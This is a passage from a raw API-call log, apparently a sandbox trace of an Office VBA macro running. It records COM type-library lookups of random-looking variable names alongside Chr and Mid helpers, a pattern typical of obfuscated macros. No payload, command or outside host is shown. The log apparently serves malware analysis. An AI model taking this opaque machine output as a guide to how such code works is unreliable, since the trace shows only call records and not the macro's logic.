[0071.707] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.707] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x3048d7, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.707] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.707] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.707] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x3048d7, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.707] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.707] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.707] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7036e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_CJwIgrYsRLTsUWGWJzcnV") returned 29 [0071.707] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x3048d7, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x43005f00720061, ppTypeComp=0x67004900000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x43005f00720061, ppTypeComp=0x67004900000000, pDummy=0x0) returned 0x0 [0071.707] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63be6 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.707] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da95f40) [0071.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da9995c, cbMultiByte=2, lpWideCharStr=0x288618110bc, cchWideChar=6 | out: lpWideCharStr="&H") returned 2 [0071.707] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc270 [0071.707] _mbscpy_s (in: _Dst=0x2885dacc270, _DstSizeInBytes=0x4, _Src=0x28860e6133a | out: _Dst=0x2885dacc270) returned 0x0 [0071.707] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.707] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.707] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.707] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.707] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.708] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.708] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.708] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc270) [0071.708] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.708] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.708] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.708] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.708] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.708] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.708] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.708] IUnknown:AddRef (This=0x2885d6296c8) returned 0x3 [0071.708] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.708] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.708] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.708] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.708] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.708] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.708] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.708] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.708] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.708] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.708] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc430 [0071.708] _mbscpy_s (in: _Dst=0x2885dacc430, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc430) returned 0x0 [0071.708] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.708] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.708] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.709] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.709] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.709] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.709] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.709] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc430) [0071.709] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.709] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.709] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.709] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.709] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.709] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.709] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.709] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="guNLDoRshxmFyJysBJsSX") returned 0x4012eb [0071.709] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="guNLDoRshxmFyJysBJsSX" | out: _Dst="guNLDoRshxmFyJysBJsSX") returned 0x0 [0071.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="guNLDoRshxmFyJysBJsSX") returned 22 [0071.709] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.709] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="guNLDoRshxmFyJysBJsSX", lHashVal=0x4012eb, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.709] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.709] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.709] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="guNLDoRshxmFyJysBJsSX", lHashVal=0x4012eb, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.709] IUnknown:Release (This=0x28857594370) returned 0xc [0071.709] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.709] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="guNLDoRshxmFyJysBJsSX", lHashVal=0x4012eb, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.709] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.709] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.709] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="guNLDoRshxmFyJysBJsSX", lHashVal=0x4012eb, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.709] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63c1e, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="guNLDoRshxmFyJysBJsSX") returned 22 [0071.709] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="guNLDoRshxmFyJysBJsSX", lHashVal=0x307b3d, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.709] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da96120 [0071.709] _mbscpy_s (in: _Dst=0x2885da96120, _DstSizeInBytes=0x16, _Src=0x28860e63c1e | out: _Dst=0x2885da96120) returned 0x0 [0071.710] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_guNLDoRshxmFyJysBJsSX") returned 0x300a28 [0071.710] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_guNLDoRshxmFyJysBJsSX" | out: _Dst="_B_var_guNLDoRshxmFyJysBJsSX") returned 0x0 [0071.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_guNLDoRshxmFyJysBJsSX") returned 29 [0071.710] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.710] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_guNLDoRshxmFyJysBJsSX", lHashVal=0x300a28, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.710] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.710] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.710] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_guNLDoRshxmFyJysBJsSX", lHashVal=0x300a28, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.710] IUnknown:Release (This=0x28857594370) returned 0xc [0071.710] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.710] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_guNLDoRshxmFyJysBJsSX", lHashVal=0x300a28, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.710] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.710] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.710] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_guNLDoRshxmFyJysBJsSX", lHashVal=0x300a28, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.710] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.710] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.710] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e703ae, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_guNLDoRshxmFyJysBJsSX") returned 29 [0071.710] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_guNLDoRshxmFyJysBJsSX", lHashVal=0x300a28, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x67005f00720061, ppTypeComp=0x44004c00000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x67005f00720061, ppTypeComp=0x44004c00000000, pDummy=0x0) returned 0x0 [0071.710] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63c1e | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.710] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da96120) [0071.710] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.710] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.710] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.710] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.710] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.711] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.711] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.711] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.711] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.711] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.711] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.711] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc350 [0071.711] _mbscpy_s (in: _Dst=0x2885dacc350, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc350) returned 0x0 [0071.711] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.711] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.711] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.711] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.711] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.711] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.711] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.711] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc350) [0071.711] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.711] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.711] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.711] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.711] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.711] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.711] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.711] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="cveWbAMHkaKPxxXoabDAe") returned 0x40c49c [0071.711] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="cveWbAMHkaKPxxXoabDAe" | out: _Dst="cveWbAMHkaKPxxXoabDAe") returned 0x0 [0071.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="cveWbAMHkaKPxxXoabDAe") returned 22 [0071.712] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.712] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="cveWbAMHkaKPxxXoabDAe", lHashVal=0x40c49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.712] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.712] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.712] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="cveWbAMHkaKPxxXoabDAe", lHashVal=0x40c49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.712] IUnknown:Release (This=0x28857594370) returned 0xc [0071.712] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.712] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="cveWbAMHkaKPxxXoabDAe", lHashVal=0x40c49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.712] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.712] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.712] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="cveWbAMHkaKPxxXoabDAe", lHashVal=0x40c49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.712] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63c8e, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="cveWbAMHkaKPxxXoabDAe") returned 22 [0071.712] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="cveWbAMHkaKPxxXoabDAe", lHashVal=0x3007f5, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.712] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da95a90 [0071.712] _mbscpy_s (in: _Dst=0x2885da95a90, _DstSizeInBytes=0x16, _Src=0x28860e63c8e | out: _Dst=0x2885da95a90) returned 0x0 [0071.712] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_cveWbAMHkaKPxxXoabDAe") returned 0x30879e [0071.712] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_cveWbAMHkaKPxxXoabDAe" | out: _Dst="_B_var_cveWbAMHkaKPxxXoabDAe") returned 0x0 [0071.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_cveWbAMHkaKPxxXoabDAe") returned 29 [0071.712] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc 